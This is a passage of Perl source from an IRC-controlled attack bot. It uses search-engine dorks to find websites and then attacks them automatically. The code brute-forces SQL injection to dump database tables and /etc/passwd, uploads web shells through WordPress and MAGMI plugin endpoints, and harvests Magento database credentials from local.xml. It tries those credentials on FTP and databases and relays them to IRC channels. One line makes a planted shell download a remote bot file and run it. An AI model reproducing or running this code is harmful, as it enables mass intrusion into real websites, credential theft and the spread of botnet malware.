  1224.     if ($engine =~ /tn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TN",$type,$nick); } exit; } }
  1225.     if ($engine =~ /tc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TC",$type,$nick); } exit; } }
  1226.     if ($engine =~ /vu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VU",$type,$nick); } exit; } }
  1227.     if ($engine =~ /wf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WF",$type,$nick); } exit; } }
  1228.     if ($engine =~ /ye/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YE",$type,$nick); } exit; } }
  1229.     if ($engine =~ /zw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ZW",$type,$nick); } exit; } }
  1230.         if ($engine =~ /askCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKCA",$type,$nick); } exit; } }
  1231.     if ($engine =~ /askDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKDE",$type,$nick); } exit; } }
  1232.     if ($engine =~ /askIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKIT",$type,$nick); } exit; } }
  1233.     if ($engine =~ /askFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKFR",$type,$nick); } exit; } }
  1234.     if ($engine =~ /askES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKES",$type,$nick); } exit; } }
  1235.     if ($engine =~ /askRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKRU",$type,$nick); } exit; } }
  1236.     if ($engine =~ /askNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKNL",$type,$nick); } exit; } }
  1237.     if ($engine =~ /askUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKUK",$type,$nick); } exit; } }
  1238.     if ($engine =~ /askBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKBR",$type,$nick); } exit; } }
  1239.     if ($engine =~ /askPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKPL",$type,$nick); } exit; } }
  1240.     if ($engine =~ /askAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKAU",$type,$nick); } exit; } }
  1241.     if ($engine =~ /askAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKAT",$type,$nick); } exit; } }
  1242.     if ($engine =~ /askJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKJP",$type,$nick); } exit; } }
  1243.     if ($engine =~ /askSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKSE",$type,$nick); } exit; } }
  1244.     if ($engine =~ /askMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKMX",$type,$nick); } exit; } }
  1245.     if ($engine =~ /askNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKNO",$type,$nick); } exit; } }
  1246.     if ($engine =~ /askDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKDK",$type,$nick); } exit; } }
  1247.     if ($engine =~ /bingDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingDE",$type,$nick); } exit; } }
  1248.     if ($engine =~ /bingUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingUK",$type,$nick); } exit; } }
  1249.     if ($engine =~ /bingCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCA",$type,$nick); } exit; } }
  1250.     if ($engine =~ /bingBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBR",$type,$nick); } exit; } }
  1251.     if ($engine =~ /bingFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingFR",$type,$nick); } exit; } }
  1252.     if ($engine =~ /bingES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingES",$type,$nick); } exit; } }
  1253.     if ($engine =~ /bingIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingIT",$type,$nick); } exit; } }
  1254.     if ($engine =~ /bingBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBE",$type,$nick); } exit; } }
  1255.     if ($engine =~ /bingNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNL",$type,$nick); } exit; } }
  1256.     if ($engine =~ /bingPT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingPT",$type,$nick); } exit; } }
  1257.     if ($engine =~ /bingNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNO",$type,$nick); } exit; } }
  1258.     if ($engine =~ /bingDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingDK",$type,$nick); } exit; } }
  1259.     if ($engine =~ /bingSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingSE",$type,$nick); } exit; } }
  1260.     if ($engine =~ /bingCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCH",$type,$nick); } exit; } }
  1261.     if ($engine =~ /bingNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNZ",$type,$nick); } exit; } }
  1262.     if ($engine =~ /bingRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingRU",$type,$nick); } exit; } }
  1263.     if ($engine =~ /bingJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingJP",$type,$nick); } exit; } }
  1264.     if ($engine =~ /bingCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCN",$type,$nick); } exit; } }
  1265.     if ($engine =~ /bingKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingKR",$type,$nick); } exit; } }
  1266.     if ($engine =~ /bingMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingMX",$type,$nick); } exit; } }
  1267.     if ($engine =~ /bingAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAR",$type,$nick); } exit; } }
  1268.     if ($engine =~ /bingCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCL",$type,$nick); } exit; } }
  1269.     if ($engine =~ /bingAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAU",$type,$nick); } exit; } }
  1270.     if ($engine =~ /Baidu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Baidu",$type,$nick); } exit; } }
  1271.     if ($engine =~ /GoJp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GoJp",$type,$nick); } exit; } }
  1272.     if ($engine =~ /Bebek/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bebek",$type,$nick); } exit; } }
  1273.     if ($engine =~ /DogPile/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DogPile",$type,$nick); } exit; } }
  1274.     if ($engine =~ /soGou/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SoGou",$type,$nick); } exit; } }
  1275.     if ($engine =~ /StellaIt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Stella",$type,$nick); } exit; } }
  1276.     if ($engine =~ /MSN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MSN",$type,$nick); } exit; } }
  1277.  
  1278. }
  1279.  
  1280. ###### SQLi ########
  1281. sub sql_exploit() {
  1282.     my $chan = $_[0];
  1283.     my $bug = $_[1];
  1284.     my $dork = $_[2];
  1285.     my $engine = $_[3];
  1286.     my $nick = $_[4];
  1287.     my $count = 0;
  1288.     my @list = &search_engine($chan,$bug,$dork,$engine,$sqllogo);
  1289.     my $num = scalar(@list);
  1290.     if ($num > 0) {
  1291.         foreach my $site (@list) {
  1292.             $count++;
  1293.             if ($count == $num-1) { &msg("$chan","$sqllogo(4@8$engine15)10 Scan finish"); }
  1294.             my $test = "http://".$site.$bug."'";
  1295.             my $vuln = "http://".$site."4".$bug;
  1296.         my $sqlsite = "http://".$site.$bug;
  1297.             my $html = &get_content($test);
  1298.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1299.             if ($html =~ m/You have an error in your SQL syntax/i || $html =~ m/Query failed/i || $html =~ m/SQL query failed/i ) {
  1300.                 &sqlbrute($sqlsite,$chan,$engine);}
  1301.             elsif ($html =~ m/ODBC SQL Server Driver/i || $html =~ m/Unclosed quotation mark/i || $html =~ m/Microsoft OLE DB Provider for/i ) {
  1302.                 &msg("$chan","$sqllogo(4@8$engine15)15(4@9MsSQL15)13 ".$vuln);}
  1303.             elsif ($html =~ m/Microsoft JET Database/i || $html =~ m/ODBC Microsoft Access Driver/i || $html =~ m/Microsoft OLE DB Provider for Oracle/i ) {
  1304.                 &msg("$chan","$sqllogo(4@8$engine15)15(4@9MsAccess15)13 ".$vuln);}
  1305.             elsif ($html =~ m/mysql_/i || $html =~ m/Division by zero in/i || $html =~ m/mysql_fetch_array/i ) {
  1306.                 &sqlbrute($sqlsite,$chan,$engine);}
  1307.             } exit; sleep(2); }
  1308.         }
  1309.     }
  1310. }
  1311. sub sqlbrute() {
  1312.             my $situs=$_[0];
  1313.             my $chan  =$_[1];
  1314.             my $engine=$_[2];
  1315.             my $columns=20;
  1316. my $cfin.="--";
  1317. my $cmn.= "+";
  1318. for ($column = 0 ; $column < $columns ; $column ++)
  1319.     {
  1320.     $union.=','.$column;
  1321.     $inyection.=','."0x6c6f67696e70776e7a";
  1322.     if ($column == 0)
  1323.       {
  1324.           $inyection = '';
  1325.           $union = '';
  1326.       }
  1327.     $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;
  1328.     $response=get($sql);
  1329.     if($response =~ /loginpwnz/)
  1330.         {
  1331.          $column ++;
  1332.          $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
  1333.          &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)13 $sql ");
  1334.          $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
  1335.          $response=get($sql)or die("[-] Impossible to get Information_Schema\n");
  1336.          if($response =~ /loginpwnz/)
  1337.             {
  1338.             $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
  1339.             &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13INFO_SCHEMA15)13 $sql ");sleep(2);
  1340.             &msg("$chaninfo","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13INFO_SCHEMA15)13 $sql ");
  1341.             }
  1342.          $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
  1343.          $response=get($sql)or die("[-] Impossible to get MySQL.User\n");
  1344.          if($response =~ /loginpwnz/)
  1345.             {
  1346.             $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
  1347.             &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13USER15)13 $sql ");sleep(2);
  1348.             &msg("$chaninfo","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13USER15)13 $sql ");
  1349.             }
  1350.          else
  1351.             {
  1352.             }
  1353.     while ($loadcont < $column-1)
  1354.        {
  1355.         $loadfile.=','.'load_file(0x2f6574632f706173737764)';
  1356.         $loadcont++;
  1357.        }
  1358.        $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
  1359.     $response=get($sql)or die("[-] Impossible to inject LOAD_FILE\n");
  1360.          if($response =~ /root:x:/)
  1361.             {
  1362.             &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13Load File15)13 $sql ");sleep(2);
  1363.             &msg("$chaninfo","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13Load File15)13 $sql ");
  1364.             }
  1365.          else
  1366.             {
  1367.             }
  1368.               foreach $tabla(@tabele)
  1369.                 {
  1370.                   chomp($tabla);
  1371.                   $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;
  1372.                  $response=get($sql)or die("[-] Impossible to get tables\n");
  1373.                   if($response =~ /loginpwnz/)
  1374.                     {
  1375.                     $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;
  1376.                     &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13Tabel15)13 $sql ");sleep(2);
  1377.                     &msg("$chaninfo","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13Tabel15)13 $sql ");
  1378.                     &tabelka($situs,$tabla,$chan,$engine);
  1379.                     }
  1380.                 }
  1381.         }
  1382.     }          
  1383. }
  1384.  
  1385. sub tabelka() {
  1386.             my $situs =$_[0];
  1387.             my $tabla =$_[1];
  1388.             my $chan  =$_[2];
  1389.             my $engine=$_[3];
  1390.             my $cfin.="--";
  1391.             my $cmn.= "+";
  1392.             chomp($tabla);
  1393.             foreach $columna(@kolumny)
  1394.             {
  1395.              chomp($columna);
  1396.              $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$inyection.$cmn."from".$cmn.$tabla.$cfin;
  1397.              $response=get($sql)or die("[-] Impossible to get columns\n");
  1398.              if ($response =~ /loginpwnz/)
  1399.                 {
  1400.                 &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13SQLi Vuln15)9 $situs 14(4@13Kolom14)13 $columna 14(4@13Tabel14)13 $tabla ");sleep(2);
  1401.                 &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13SQLi Vuln15)9 $situs 14(4@13Kolom14)13 $columna 14(4@13Tabel14)13 $tabla ");
  1402.                 }
  1403.             }
  1404.        
  1405. }
  1406.  
  1407. ###### EXPLOITING #######
  1408. sub up_exploit() {
  1409.     my $chan = $_[0];
  1410.     my $bug = $_[1];
  1411.     my $simpan = $_[2];
  1412.     my $dork = $_[3];
  1413.     my $engine = $_[4];
  1414.     my $nick = $_[5];
  1415.     my $count = 0;
  1416.     my @list = search_engine($chan,$bug,$dork,$engine,$mglogo);
  1417.     my $num = scalar(@list);
  1418.     if ($num > 0){
  1419.         foreach my $site(@list){
  1420.             $count++;
  1421.             if ($count == $num-1) { &msg("$chan","$uplogo $engine Done");
  1422.             }
  1423.             my $kontol  = "http://".$site."/xmlrpc.php";
  1424.             my $cek  = &get_content($kontol);
  1425.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1426.                 if ($cek =~ m/XML-RPC server accepts POST requests only/g) {
  1427.                     way2($site,$chan,$engine,$bug);
  1428.                 }
  1429.             }exit;
  1430.             }
  1431.         }
  1432.     }
  1433.  
  1434.     sub way2() {
  1435.         my $site   = $_[0];
  1436.         my $chan    = $_[1];
  1437.         my $engine = $_[2];
  1438.         my $bugz =$_[3];
  1439.         $test = "http://".$site;
  1440.         $control = &get_content($test);sleep(7);
  1441.         if ($control =~ /\/wp-content\/themes\/(.*?)\//i){
  1442.             $temane = $1;
  1443.         }
  1444.         my $bawere    = "http://".$site.$bugz;
  1445.         my $itil = get_content($bawere);
  1446.         if ($itil =~ /{"status":"NOK", "ERR":"This file is incorect"}/) {
  1447.             my $ua = LWP::UserAgent->new;
  1448.             $ua->timeout(30);
  1449.             my $response = $ua->post( $bawere,
  1450.             Content_Type => 'form-data',
  1451.             Content => [ 'Filedata' => ["$jembot"] ]
  1452.             );
  1453.             my $body = $response->content;
  1454.             if($body =~ /rel=\\"(.*?)">/){
  1455.                 my $out = $1;
  1456.             $out =~ s/\\//g;
  1457.             my $semprot = &get_content($out);
  1458.             if ($semprot =~ /GIF89aGiam/) {
  1459.                 my $safe = "";
  1460.                 my $os = "";
  1461.                 my $uid="";
  1462.                 if ($semprot =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1463.                 if ($semprot =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1464.                 if ($semprot =~ /uid=(.*?)gid=/){$uid=$1;}
  1465.                 &msg("$chanxxx","11$engine theme: $temane 4 $out 15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1466.                 &msg("$chan","11$uplogo send to $nick theme: $temane 15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1467.                 #&msg("$nick","11$uplogo theme: $temane $out 15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1468.             }
  1469.         }
  1470.     }
  1471. }
  1472. }
  1473. ############# magento_exploit #####################
  1474. sub magento_exploit() {
  1475.     my $chan = $_[0];
  1476.     my $bug = $_[1];
  1477.     my $dork = $_[2];
  1478.     my $engine = $_[3];
  1479.     my $nick = $_[4];
  1480.     my $count = 0;
  1481.     my @list = search_engine($chan,$bug,$dork,$engine,$mglogo);
  1482.     my $num = scalar(@list);
  1483.     if ($num > 0){
  1484.  
  1485.         foreach my $site(@list){
  1486.             $count++;
  1487.             if ($count == $num-1) {
  1488.                 &msg("$chan","$wplogo 4$engine1513 Done15");
  1489.  
  1490.             }
  1491.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1492.                 my $vuln  = "http://".$site."/app/etc/local.xml";
  1493.                 my $html  = &get_content($vuln);
  1494.                 if ($html =~ /dbname/i) {
  1495.                     my $serverIP   ="";
  1496.                     &msg("$chan","$mglogo $engine  Exploit ");sleep(2);
  1497.                     if ($html =~ /<host><!\[CDATA\[(.*)\]\]\><\/host>/) {$serverIP=$1;}
  1498.                     if ($html =~ /<username><!\[CDATA\[(.*)\]\]\><\/username>/){$user=$1;}
  1499.                     if ($html =~ /<password><!\[CDATA\[(.*)\]\]\><\/password>/){$pass=$1;}
  1500.                     if ($html =~ /<dbname><!\[CDATA\[(.*)\]\]\><\/dbname>/){$dbname=$1;}
  1501.                     if ($html =~ /<frontName><!\[CDATA\[(.*)\]\]\><\/frontName>/){$logadmin=$1;}
  1502.                     &msg("$chanxxx","$mglogo 9http://".$site." 9[+]hostname: 9".$serverIP."9 [+]username: 9".$user." 9[+]password: 9".$pass." 9[+]dbname: 9".$dbname." Login : ".$logadmin."");sleep(2);
  1503.                     if ($user =~ /_/) {@users = split("_", $user); $usr = $users[0];}
  1504.                     my $ceklog = "ftp://".$usr.":".$pass."@".$site."";
  1505.                     my $ceklog2 = "ftp://".$user.":".$pass."@".$site."";
  1506.                     my $ftplog = &get_content($ceklog);sleep(2);
  1507.                     my $ftplog2 = &get_content($ceklog2);sleep(2);
  1508.                     if ($ftplog =~ /ftp/) {
  1509.                         &msg("$admin","9[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$usr." [+]password:".$pass."");sleep(2);
  1510.                         ##&msg("$nick","9[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$usr." [+]password:".$pass."");sleep(2);
  1511.                         &msg("$submitchan","9[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$usr." [+]password:".$pass."");sleep(2);
  1512.                         #&msg("$chan","12[+]$mglogo4$engine 12FTP[+]Success send To Admin");
  1513.                     }
  1514.                     if ($ftplog2 =~ /ftp/) {
  1515.                         &msg("$admin","9[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$user." [+]password:".$pass."");sleep(2);
  1516.                         ##&msg("$nick","9[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$user." [+]password:".$pass."");sleep(2);
  1517.                         &msg("$submitchan","9[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$user." [+]password:".$pass."");sleep(2);
  1518.                         #&msg("$chan","12[+]$mglogo4$engine 12FTP[+]Success send To Admin");
  1519.                     }
  1520.                     my $hosts = "http://".$site;
  1521.                                 if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
  1522.                                     $host = $2;
  1523.                                     if($serverIP eq "localhost" || $serverIP eq "127.0.0.1" || $serverIP eq "localhost:3306" || $serverIP eq "127.0.0.1:3306"){
  1524.                                     &dbi_connect($site,$host,$user,$pass,$dbname,$chanxxx,$engine,$mglogo,"",$nick);sleep(2);
  1525.                                     }else{
  1526.                                     &dbi_connect($site,$serverIP,$user,$pass,$dbname,$chanxxx,$engine,$mglogo,"",$nick);sleep(2);
  1527.                                     }
  1528.                                     if ($user =~ /_/) {
  1529.                                 @users = split("_",$user); $user = $users[0];
  1530.                                 &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo,$nick);sleep(2);
  1531.                                     } else {
  1532.                                     &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo,$nick);sleep(2);
  1533.                                     }
  1534.                                 }
  1535.                 }
  1536.             } exit;
  1537.             }
  1538.         }
  1539.     }
  1540. }
  1541.  
  1542.  
  1543. ###### MAGMI TEST ########
  1544.  
  1545. sub magmi_test() {
  1546.  
  1547.     my $chan = $_[0];
  1548.     my $bug = $_[1];
  1549.     my $site = $_[2];
  1550.     my $engine = $_[3];
  1551.     my $nick = $_[4];
  1552.             my $test = $site."/magmi/web/magmi.php";
  1553.             my $test2 = $site."/magmi/web/plugin_upload.php";
  1554.             my $html = &get_content($test);
  1555.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1556.                 if ($html =~ /MAGMI/ || $html =~ m/<h3>Upload New Plugins/ || $html =~ m/<title>MAGMI (MAGento Mass Importer)/i ) {
  1557.                     &msg("$path","$mag2logo(4@3$site15)15(4@14VulN15)3 9(4@15Mulai Exploit9) ");sleep(2);
  1558.                     $site =~ s/http:\/\///g;
  1559.                     #&msg("$chan","$mglogo $engine  $site ");
  1560.                     &magmi_xpl($test,$chan,$site,$engine,$nick);
  1561.                     &magmi2_xpl($test,$chan,$site,$engine,$nick);
  1562.                     &magmi3_xpl($test,$chan,$site,$engine,$nick);
  1563.                     &magmi4_xpl($test,$chan,$site,$engine,$nick);
  1564.                     &magmi_xpl($test2,$chan,$site,$engine,$nick);
  1565.                     &magmi2_xpl($test2,$chan,$site,$engine,$nick);
  1566.                     &magmi3_xpl($test2,$chan,$site,$engine,$nick);
  1567.                     &magmi4_xpl($test2,$chan,$site,$engine,$nick);
  1568.                     &magmi5_xpl($test,$chan,$site,$engine,$nick);
  1569.                     &magmi6_xpl($test,$chan,$site,$engine,$nick);
  1570.                     &magmi7_xpl($test,$chan,$site,$engine,$nick);
  1571.                     &magmi8_xpl($test,$chan,$site,$engine,$nick);
  1572.                     &magmi9_xpl($test,$chan,$site,$engine,$nick);
  1573.                     &magmi10_xpl($test,$chan,$site,$engine,$nick);
  1574.                     &magmi11_xpl($test,$chan,$site,$engine,$nick);
  1575.                     #&magmi11a_xpl($test,$chan,$site,$engine,$nick);
  1576.                     #&magmi12_xpl($test,$chan,$site,$engine,$nick);
  1577.                     &magmi13_xpl($test,$chan,$site,$engine,$nick);
  1578.                     &gento_exploit($test,$chan,$site,$engine,$nick);
  1579. } else {
  1580. &msg("$path","$mag2logo(4@3$site15)15(4@14Secure15)3 9(4@15Coba yang lain9) ");sleep(2);
  1581. exit; }
  1582. }exit;
  1583. }
  1584. }
  1585.  
  1586. ###### MAGMI MAGENTO #######
  1587. sub magmi_exploit() {
  1588.     my $chan = $_[0];
  1589.     my $bug = $_[1];
  1590.     my $dork = $_[2];
  1591.     my $engine = $_[3];
  1592.     my $nick = $_[4];
  1593.     my $count = 0;
  1594.     my @list = search_engine($chan,$bug,$dork,$engine,$mglogo);
  1595.     my $num = scalar(@list);
  1596.     if ($num > 0){
  1597.  
  1598.         foreach my $site(@list){
  1599.             $count++;
  1600.             if ($count == $num-1) {
  1601.                 &msg("$chan","$mglogo $engine Done");
  1602.  
  1603.             }
  1604.             my $test = "http://".$site."magmi/web/magmi.php";
  1605.             my $test2 = "http://".$site."magmi/web/plugin_upload.php";
  1606.             my $test3 = "http://".$site."/magmi/conf/magmi.ini";
  1607.             my $html = &get_content($test);
  1608.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1609.                 if ($html =~ /MAGMI/ || $html =~ m/<h3>Upload New Plugins/ || $html =~ m/<title>MAGMI (MAGento Mass Importer)/i ) {
  1610.                 #if ($html =~ m/[DATABASE]/ || $html =~ m/connectivity/ ) {
  1611.                     #&msg("$chan","$mag2logo(4@3$engine15)15(4@14VulN15)3 ".$test." 9(4@15VulN9) ");sleep(2);
  1612.                     &msg("$chan","$mglogo $engine  $site ");sleep(1);
  1613.                     &magmi_xpl($test,$chan,$site,$engine,$nick);sleep(1);
  1614.                     #&magmi2_xpl($test,$chan,$site,$engine,$nick);sleep(1);
  1615.                     &magmi3_xpl($test,$chan,$site,$engine,$nick);sleep(1);
  1616.                     &magmi4_xpl($test,$chan,$site,$engine,$nick);sleep(1);
  1617.                     #&magmi_xpl($test2,$chan,$site,$engine,$nick);
  1618.                     &magmi2_xpl($test2,$chan,$site,$engine,$nick);
  1619.                     #&magmi3_xpl($test2,$chan,$site,$engine,$nick);
  1620.                     #&magmi4_xpl($test2,$chan,$site,$engine,$nick);
  1621.                     &magmi5_xpl($test,$chan,$site,$engine,$nick);sleep(1);
  1622.                     &magmi6_xpl($test,$chan,$site,$engine,$nick);
  1623.                     &magmi7_xpl($test,$chan,$site,$engine,$nick);sleep(1);
  1624.                     &magmi8_xpl($test,$chan,$site,$engine,$nick);sleep(1);
  1625.                     &magmi9_xpl($test,$chan,$site,$engine,$nick);sleep(1);
  1626.                     &magmi10_xpl($test,$chan,$site,$engine,$nick);sleep(1);
  1627.                     &magmi11_xpl($test,$chan,$site,$engine,$nick);sleep(1);
  1628.                     #&magmi12_xpl($test,$chan,$site,$engine,$nick);sleep(1);
  1629.                     #&magmi13_xpl($test,$chan,$site,$engine,$nick);sleep(1);
  1630.                     &gento_exploit($test,$chan,$site,$engine,$nick);
  1631.                 } else {
  1632.                 }
  1633.             } exit;
  1634.         }
  1635.     }
  1636. }
  1637. }
  1638.  
  1639. sub magmi_xpl() {
  1640.     my $ua = LWP::UserAgent->new;
  1641.     $ua->timeout(10);
  1642.     my $url    = $_[0];
  1643.     my $chan   = $_[1];
  1644.     my $site   = $_[2];
  1645.     my $engine = $_[3];
  1646.     my $nick = $_[4];
  1647.     my $count = 0;
  1648.     my $action = "http://".$site."/magmi/web/magmi.php";
  1649.     my $update_file = "magnum.zip";
  1650.     my $exploit = $ua->post("$url", Content_Type => "multipart/form-data", Content => [action => "$action", plugin_package => ["$update_file"]]);
  1651.     my $status  = $exploit->as_string;
  1652.     my $check = &get_content("http://".$site."magmi/plugins/magnum/up.php");&get_content("http://".$site."magmi/plugins/magnum/up.php?cmd=cd%20/tmp%20;wget%20http://koso.swooop.sg/bot.log%20;%20php%20bot.log");
  1653.     if ($check =~ /GIF89aGiam/) {
  1654.         my $safe = "";
  1655.         my $os = "";
  1656.         my $uid="";
  1657.         if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1658.         if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1659.         if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
